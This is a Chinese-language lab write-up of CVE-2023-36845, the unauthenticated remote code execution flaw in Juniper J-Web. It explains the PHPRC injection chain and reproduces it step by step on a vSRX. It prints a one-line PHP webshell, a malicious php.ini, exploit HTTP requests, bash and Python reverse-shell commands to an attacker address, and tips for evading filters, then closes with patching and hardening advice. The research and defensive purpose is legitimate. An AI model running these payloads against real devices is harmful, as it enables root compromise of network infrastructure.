CVE-2023-36845漏洞深度剖析:Juniper J-Web服务RCE原理与复现

CVE-2023-36845漏洞深度剖析:Juniper J-Web服务RCE原理与复现 1. 项目概述与背景解析最近在整理一些网络设备相关的安全研究笔记翻到了去年2023年Juniper Networks设备上爆出的一个高危漏洞编号CVE-2023-36845。这个漏洞在当时引起了不小的关注因为它影响的是Juniper SRX系列防火墙和EX系列交换机这些都是企业网络边界和核心交换的常见设备。简单来说这是一个存在于Juniper Junos OS的J-Web服务中的远程代码执行漏洞。攻击者无需任何身份验证只需要向目标设备的J-Web接口发送一个精心构造的HTTP请求就能在设备上以root权限执行任意命令。这个危害等级懂的都懂直接就是最高级别的“王炸”。为什么这个漏洞值得拿出来单独聊聊首先它的利用门槛相对较低公开的利用脚本EXP结构清晰是学习Web漏洞原理和RCE利用链的绝佳样本。其次它影响的设备部署广泛从中小企业到大型数据中心都可能存在理解其原理对于防守方进行安全加固和应急响应至关重要。最后这个漏洞的根源在于对HTTP请求中特定参数的处理不当这种类型的漏洞模式在其他厂商、其他系统中也屡见不鲜具有很强的普适学习价值。我通过搭建模拟环境完整复现了整个漏洞的触发和利用过程这篇文章就来详细拆解一下从环境准备、漏洞原理分析、到手工复现和EXP解读最后给出加固建议希望能给安全研究人员和运维工程师提供一份实用的参考。2. 漏洞原理深度剖析2.1 Junos OS与J-Web服务架构浅析要理解CVE-2023-36845得先对漏洞的“宿主”有个基本认识。Juniper的Junos OS是其网络设备的统一操作系统运行在SRX下一代防火墙、EX交换机、MX路由器等多个系列硬件上。它采用模块化设计内核基于FreeBSD但上层服务和管理接口是Juniper深度定制的。J-Web是Junos OS提供的一个基于Web的图形化管理界面。对于很多不习惯CLI命令行的运维人员来说J-Web提供了配置设备、监控状态、查看日志的便捷方式。它本质上是一个运行在设备上的Web应用服务器通常监听在TCP 80HTTP和443HTTPS端口。这个服务以高权限通常是root运行以便能够执行更改配置、重启服务等底层操作。这就埋下了一个伏笔一旦攻击者能够通过Web接口注入并执行命令获得的权限将是设备的最高控制权。2.2 漏洞触发点与根本原因CVE-2023-36845的漏洞核心在于J-Web服务对HTTP请求中PHPRC环境变量参数的处理存在缺陷。这不是一个常见的SQL注入或缓冲区溢出而是属于“参数注入”或“环境变量污染”的范畴。具体来说当J-Web服务由PHP编写处理某些特定的HTTP请求时它会读取请求中的参数并将其中的某些值设置为PHP进程的环境变量。攻击者可以构造一个特殊的HTTP请求在请求中插入一个名为PHPRC的参数并将其值指向一个由攻击者控制的、位于设备临时目录下的恶意配置文件路径。PHPRC环境变量是PHP解释器的一个特殊配置项。如果设置了此变量PHP在启动时会优先从该变量指定的路径加载php.ini配置文件。攻击者正是利用这一点先通过其他请求将恶意配置内容写入设备文件系统的某个可访问位置例如/tmp/目录然后通过触发漏洞的请求将PHPRC指向这个恶意文件。当J-Web的PHP进程随后因处理该请求而启动或受到影响时便会加载这个恶意配置。在恶意配置文件中攻击者可以设置auto_prepend_file指令。这个指令的作用是指定一个PHP文件该文件会在任何PHP脚本执行之前自动被包含include进来。攻击者可以将auto_prepend_file指向另一个由他上传的、包含恶意PHP代码的文件。这样一来只要J-Web服务处理任何一个PHP请求攻击者的恶意代码就会率先执行从而实现远程代码执行。注意这个漏洞链涉及多个步骤文件上传写入恶意配置和WebShell、环境变量注入、触发PHP配置重载。它不是一个简单的单点漏洞而是一个利用链。公开的EXP脚本将这些步骤自动化了但理解每一步的原理对于漏洞分析和防御至关重要。2.3 影响范围与版本信息根据Juniper官方的安全公告此漏洞影响以下运行Junos OS的设备SRX系列防火墙这是受影响最广泛的设备线。EX系列交换机部分型号的交换机也搭载了J-Web服务。受影响的Junos OS版本20.4版本 20.4R3-S9之前的20.4版本。21.2版本 21.2R3-S6之前的21.2版本。21.3版本 21.3R3-S5之前的21.3版本。21.4版本 21.4R3-S5之前的21.4版本。22.1版本 22.1R3-S4之前的22.1版本。22.2版本 22.2R3-S3之前的22.2版本。22.3版本 22.3R3-S1之前的22.3版本。22.4版本 22.4R2-S2, 22.4R3之前的22.4版本。不受影响的版本上述列出的修复版本及之后的所有版本以及Junos OS 23.2及之后的主要版本。简单判断如果你的设备J-Web服务对外开放且Junos OS版本落在上述“受影响”区间内那么设备就存在被远程攻击的风险。3. 实验环境搭建与准备漏洞复现必须在授权和隔离的环境中进行。绝对禁止对互联网上任何真实设备进行测试。3.1 模拟环境选择与部署由于物理Juniper设备昂贵且不易获得我们通常使用虚拟化方案来搭建实验环境。有以下几种常见选择vSRX虚拟机镜像推荐Juniper官方提供了vSRX的虚拟化版本可以在VMware Workstation、ESXi或KVM上运行。这是最接近真实设备的环境。你可以从Juniper官网需要账号下载特定版本的vSRX镜像例如一个存在漏洞的21.2R1版本。部署后通过虚拟管理口进行初始配置并开启J-Web服务。漏洞靶场集成环境一些开源漏洞靶场项目如Vulhub可能会集成CVE-2023-36845的环境。这种方式一键启动最为方便适合快速验证漏洞是否存在。你需要确保靶场环境与真实Juniper设备的文件路径、服务行为基本一致。自定义仿真环境对于深度研究可以尝试在FreeBSD系统上模拟J-Web的PHP服务环境但这需要对Juniper的代码结构有较深了解难度较大不推荐初学者。我的选择与操作记录 我采用了一台从官方渠道下载的vSRX 21.2R1.11虚拟机镜像在VMware Workstation 17上运行。虚拟机配置分配4核CPU8GB内存2块网卡。第一块网卡eth0桥接到物理网络用于模拟WAN口我们将从攻击机访问它。第二块网卡eth1使用VMnet仅主机模式用于模拟内网管理口。初始配置通过VMware控制台启动vSRX使用默认用户名root无密码登录CLI。进行基础配置# 进入配置模式 configure # 设置root用户密码务必设置否则后续服务可能无法启动 set system root-authentication plain-text-password New password: [输入密码] Retype new password: [确认密码] # 配置外部接口ge-0/0/0IP地址 set interfaces ge-0/0/0 unit 0 family inet address 192.168.1.200/24 # 启用J-Web HTTP服务 set system services web-management http interface ge-0/0/0 # 提交配置 commit and-quit验证服务配置完成后在攻击机浏览器访问http://192.168.1.200应该能看到J-Web的登录页面。这表明环境搭建成功。3.2 攻击机与工具准备攻击机我使用了一台Kali Linux 2024.1虚拟机与vSRX部署在同一局域网段192.168.1.0/24。需要准备的工具Python3运行EXP脚本。Kali自带。EXP脚本从可靠的漏洞研究社区如Exploit-DB、GitHub获取公开的CVE-2023-36845利用脚本。通常是一个Python文件例如juniper_rce.py。网络探测工具nmap用于端口扫描和服务识别。Burp Suite或浏览器开发者工具用于手动抓包、改包辅助理解漏洞触发流程。文本编辑器用于查看和分析EXP脚本代码。实操心得在下载和使用任何EXP前务必在隔离环境中用文本编辑器或cat命令仔细审阅代码。检查其中是否包含可疑的后门、挖矿脚本或对非目标地址的额外请求。永远不要盲目运行来源不明的脚本。4. 漏洞复现过程全记录4.1 信息收集与目标确认首先我们需要确认目标是否存活且开启了J-Web服务。# 使用nmap进行快速端口扫描 nmap -sS -p 80,443,22 192.168.1.200 # 更详细的版本探测和服务识别 nmap -sV -p 80 --scripthttp-title 192.168.1.200如果发现80或443端口开放且HTTP标题title包含“J-Web”或“Juniper”字样基本可以初步判定目标运行着J-Web服务。为了更精确地确认版本可以访问J-Web登录页面查看页面源代码或HTTP响应头有时会包含版本信息。或者尝试访问一些已知的Junos OS信息泄露路径但这属于另一个漏洞范畴此处不展开。在我们的实验中我们已经知道目标版本是存在漏洞的21.2R1。4.2 手工复现与漏洞链理解在直接运行自动化EXP之前我强烈建议先用手工方式走一遍漏洞利用链这能让你对漏洞有肌肉记忆般的理解。我们借助Burp Suite来操作。步骤一上传恶意配置文件漏洞利用的第一步是需要将一个恶意的php.ini配置文件上传到目标设备的临时目录如/tmp/。J-Web的某个端点例如/webauth_operation.php存在文件上传功能但可能对文件类型、内容做了限制。公开的EXP通常利用了一个技巧通过发送一个multipart/form-data格式的POST请求在某个参数中“夹带”文件内容。在Kali上先创建恶意配置文件evil.iniauto_prepend_file /tmp/cmd.php这个配置的意思是让PHP在执行任何脚本前先自动包含/tmp/cmd.php文件。构造上传请求。用Burp抓取访问J-Web任意页面的请求然后发送到Repeater模块进行修改。请求方法POSTURLhttp://192.168.1.200/webauth_operation.php具体端点可能因版本略有差异EXP中会指明Content-Typemultipart/form-data; boundary----WebKitFormBoundaryABCDEFG边界字符串可以自定义请求体构造一个表单数据其中一个字段的值就是我们的evil.ini文件内容。EXP中通常会将文件内容进行Base64编码或十六进制编码后放入某个参数值中服务端解码后写入文件。POST /webauth_operation.php HTTP/1.1 Host: 192.168.1.200 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABCDEFG ------WebKitFormBoundaryABCDEFG Content-Disposition: form-data; name某个参数名 [这里可能是经过编码的evil.ini文件内容] ------WebKitFormBoundaryABCDEFG--发送请求后如果服务端存在漏洞它可能会将这个文件内容解码并写入到/tmp/目录下的一个文件中文件名可能是随机的也可能是固定的。EXP脚本会解析响应获取最终的文件路径。这一步是漏洞利用能否成功的关键也是很多手工复现者卡住的地方因为参数名和编码方式需要精确匹配。步骤二上传WebShell文件同理我们需要将包含恶意PHP代码的WebShell文件上传到目标设备。创建cmd.php?php system($_REQUEST[cmd]); ?这是一个极其简单的WebShell通过GET或POST参数cmd来执行系统命令。同样使用类似步骤一的方法构造请求将这个文件内容上传到/tmp/cmd.php。确保这个路径与evil.ini中auto_prepend_file指定的路径完全一致。步骤三触发环境变量注入与RCE这是最精妙的一步。构造一个特殊的HTTP请求触发J-Web服务处理流程中的漏洞点将PHPRC环境变量设置为我们在步骤一中上传的恶意配置文件路径。这个触发请求可能指向另一个PHP端点例如/index.php。在请求的HTTP头部或参数中注入PHPRC环境变量。根据漏洞详情注入点可能在HTTP Header里。例如EXP中可能会设置这样一个HeaderGET /index.php HTTP/1.1 Host: 192.168.1.200 X-Forwarded-For: 127.0.0.1 PHPRC: /tmp/xxxxx.ini # 这里填入第一步上传后得到的实际ini文件路径 ... 其他头部 ...当J-Web服务处理这个请求时由于代码缺陷它会将PHPRC: /tmp/xxxxx.ini这个头部信息的值设置为处理该请求的PHP子进程的环境变量PHPRC。当PHP进程启动或现有进程受到影响时它读取PHPRC环境变量并加载/tmp/xxxxx.ini这个配置文件。该配置文件中的auto_prepend_file /tmp/cmd.php指令生效。接下来无论这个PHP进程原本要执行index.php的什么逻辑它都会先包含并执行/tmp/cmd.php。此时如果我们在这个触发请求中携带了cmd参数例如?cmdid那么cmd.php中的system($_REQUEST[cmd])就会执行id命令并将结果返回在HTTP响应中。手工发送这个触发请求如果响应体中包含了id命令的执行结果如uid0(root) gid0(wheel)...那么恭喜RCE复现成功4.3 自动化EXP脚本使用与分析手工复现虽然深刻但步骤繁琐。公开的EXP脚本例如从Exploit-DB获取的juniper_rce.py将上述流程自动化了。我们来分析一下典型EXP的用法和内部逻辑。EXP基本用法python3 juniper_rce.py -t http://192.168.1.200或者更详细的python3 juniper_rce.py --target http://192.168.1.200 --lhost 192.168.1.100 --lport 4444其中--lhost和--lport常用于指定反弹Shell的监听地址和端口如果EXP包含反弹Shell功能。EXP内部工作流拆解 一个结构良好的EXP脚本通常包含以下函数或模块check_vulnerable(url)发送一个探测请求根据响应特征如特定字符串、HTTP状态码判断目标是否存在漏洞。这步可以避免盲目攻击。upload_file(url, local_file_path, remote_path)封装了文件上传逻辑。它内部会构造正确的multipart/form-data请求使用特定的参数名和编码方式将本地文件内容上传到目标的/tmp目录并从服务器响应中提取出最终的文件路径。这个函数会被调用两次分别上传evil.ini和cmd.php。trigger_rce(url, ini_file_path, command)封装触发漏洞的逻辑。它构造包含PHPRC头部或其他注入点的HTTP请求并将ini_file_path作为值。同时它会在请求中附带上要执行的命令如cmdid。发送请求后解析响应提取命令执行结果。get_shell(url, lhost, lport)高级功能。如果只是想获取一个交互式Shell这个函数会执行一个反弹Shell命令如bash -c bash -i /dev/tcp/LHOST/LPORT 01并自动在攻击机上开启Netcat监听。主函数协调以上步骤处理命令行参数提供交互式命令执行或直接反弹Shell。注意事项运行EXP时可能会遇到各种错误如“上传失败”、“无法获取文件路径”、“命令执行无回显”。这通常是因为目标Junos OS的微小版本差异导致的上传端点路径、参数名或响应格式不同。需要根据错误信息调整EXP中的相关字符串。这也是为什么理解原理比单纯运行脚本更重要。5. 常见问题与排查技巧实录在复现过程中我遇到了不少坑。这里把典型问题和解决方法记录下来希望能帮你节省时间。5.1 环境搭建与网络问题问题1vSRX虚拟机启动后无法获取IP地址或无法访问J-Web。排查首先检查vSRX的接口配置。通过VMware控制台登录CLI运行show interfaces terse查看接口状态。ge-0/0/0应该显示up状态。如果显示down可能是虚拟网卡连接模式不对。解决确保vSRX的ge-0/0/0网卡桥接到了正确的物理网络或与攻击机同网段的虚拟网络如VMnet。在vSRX CLI中使用set interfaces ge-0/0/0 unit 0 family inet address 192.168.1.200/24和commit重新配置IP。检查防火墙策略默认情况下vSRX可能阻止对J-Web的访问需要确保安全策略允许从外部区域untrust到设备自身junos-host的HTTP访问。# 进入CLI配置模式 configure # 查看当前安全策略 show security policies # 如果没有允许的策略添加一条示例具体zone名可能不同 set security policies from-zone untrust to-zone junos-host policy permit-web match source-address any destination-address any application junos-http set security policies from-zone untrust to-zone junos-host policy permit-web then permit commit问题2EXP脚本运行时报SSL证书验证错误或连接超时。排查如果目标是HTTPS端口443EXP可能使用了requests库且未禁用证书验证。目标设备的自签名证书会导致验证失败。解决修改EXP脚本在requests.get/post调用中添加参数verifyFalse。但要注意这会在终端产生警告可以同时导入urllib3并禁用警告。import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) response requests.post(url, datadata, headersheaders, verifyFalse)如果是连接超时检查网络连通性ping、目标IP是否正确、目标服务是否真的在运行netstat -tulnp | grep :80在目标设备上查看。5.2 漏洞利用过程中的问题问题3EXP执行后文件上传成功但触发RCE时命令没有回显。排查这是最常见的问题。首先确认两个文件是否真的上传成功。可以尝试在触发RCE的命令中执行一个能产生明显网络侧行为的命令如ping -c 4 攻击机IP然后在攻击机上用tcpdump监听看是否有ICMP包过来。如果有说明命令执行了只是回显没有被捕获到HTTP响应中。解决检查命令注入点EXP中执行命令的参数名可能不对。常见的参数名是cmd但也可能是c、command等。需要分析cmd.php的内容以及触发请求的构造方式。检查输出流PHP的system()函数执行命令后输出可能被重定向或由于Web服务配置问题没有完全返回到HTTP响应中。尝试使用能直接输出到已知文件的命令id /tmp/test.txt然后尝试通过漏洞读取这个文件验证命令是否执行。使用其他PHP函数修改cmd.php尝试使用passthru()、shell_exec()或反引号来执行命令看哪个有回显。查看J-Web错误日志在vSRX上通过CLI查看日志show log messages | grep -i php或show log web可能会看到PHP执行错误信息帮助定位问题。问题4EXP针对某个版本有效换另一个版本就失败了。排查不同版本的Junos OS其J-Web服务的PHP文件路径、处理上传的端点、参数名称可能发生变化。解决信息收集尽可能精确地获取目标版本。通过错误页面、HTTP响应头、SNMP如果开放等方式。代码审计与模糊测试如果条件允许对目标J-Web进行简单的目录扫描 (gobuster,dirsearch)寻找PHP文件。尝试手动测试不同的上传路径如/webauth_operation.php、/upload.php、/admin.php等。调整EXP根据错误信息或抓包分析修改EXP中硬编码的URL路径、参数名、边界字符串boundary等。这需要一定的耐心和HTTP协议基础。5.3 反弹Shell相关问题问题5EXP成功执行了命令但反弹Shell无法建立连接。排查Netcat监听是否正确在攻击机执行nc -lvnp 4444确认监听在正确的IP和端口上。命令是否执行先执行ping或curl命令测试网络连通性。防火墙出站规则vSRX默认的安全策略可能禁止从junos-host区域向untrust区域发起连接即禁止设备主动外连。解决允许设备出站连接在vSRX上添加安全策略允许从junos-host到untrust的流量。configure set security policies from-zone junos-host to-zone untrust policy outbound-permit match source-address any destination-address any application any set security policies from-zone junos-host to-zone untrust policy outbound-permit then permit commit尝试其他反弹Shell命令bash反弹可能被过滤尝试使用python、perl、php、nc如果目标有netcat等不同方式。# Python反弹Shell python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn(/bin/bash)使用编码或混淆简单的命令可能被Web应用防火墙WAF或简单的输入检查拦截。尝试对命令进行Base64编码然后在目标端解码执行。6. 漏洞修复与安全加固建议复现漏洞是为了更好地防御。如果你负责运维Juniper设备请立即采取以下措施1. 紧急修复治标立即升级这是最根本的解决方案。登录Juniper官方支持门户下载并安装针对你设备型号和软件分支的修复版本。升级前务必阅读版本发布说明并在测试环境验证。临时缓解如果无法立即升级必须立即在边界防火墙或设备本身上严格限制对J-Web服务TCP 80/443端口的访问。只允许来自特定管理IP地址范围的连接。在设备CLI中配置防火墙过滤器firewall filter或安全策略security policy来实现。# 示例在接口上应用过滤器只允许特定IP访问80端口 set firewall family inet filter protect-jweb term allow-trusted from source-address 10.1.1.0/24 set firewall family inet filter protect-jweb term allow-trusted from protocol tcp set firewall family inet filter protect-jweb term allow-trusted from destination-port http set firewall family inet filter protect-jweb term allow-trusted then accept set firewall family inet filter protect-jweb term deny-all then discard set interfaces ge-0/0/0 unit 0 family inet filter input protect-jweb commit禁用J-Web服务如果业务上完全不需要Web管理界面最彻底的方法是直接关闭J-Web服务。configure delete system services web-management commit2. 安全加固治本最小化服务原则任何网络设备非必要的服务一律关闭。只开启运维必须的管理协议如SSH并限制访问源IP。网络分段与隔离管理网络Management Network必须与业务网络物理或逻辑隔离。管理接口不应直接暴露在互联网或非信任网络区域。强密码与多因素认证为所有账户设置复杂、唯一的密码。如果设备支持启用多因素认证MFA。定期更新与漏洞监控订阅Juniper的安全公告PSN定期检查设备软件版本制定并执行严格的补丁更新计划。安全配置审计定期使用安全配置检查工具或手动审计设备配置确保符合安全基线。检查是否存在默认密码、不必要的服务、过宽松的安全策略等。3. 持续监控日志集中与分析将Junos OS的系统日志syslog、安全日志发送到SIEM安全信息和事件管理系统进行集中分析和告警。重点关注认证失败、配置更改、异常连接等事件。入侵检测在网络层部署IDS/IPS设置规则检测针对Juniper设备漏洞的已知攻击流量特征。漏洞复现的过程就像一次对设备安全状况的“压力测试”。通过亲手触发漏洞你不仅能深刻理解攻击者的手法更能从防御者的角度清晰地看到每一个薄弱环节在哪里。CVE-2023-36845给我们提了个醒即使是像Juniper这样以稳定可靠著称的网络设备巨头其管理界面也可能存在致命弱点。作为安全从业者或运维人员切不可抱有“用了品牌设备就高枕无忧”的想法。主动关注漏洞情报及时修补严格遵循最小权限和网络隔离原则才是保障网络基础设施安全的基石。这次复现中那个将PHPRC环境变量通过HTTP头部注入的细节让我对“外部输入不可信”这一安全铁律有了更具体的认识以后在代码审计和配置检查时会对类似的环境变量、配置文件加载机制格外警惕。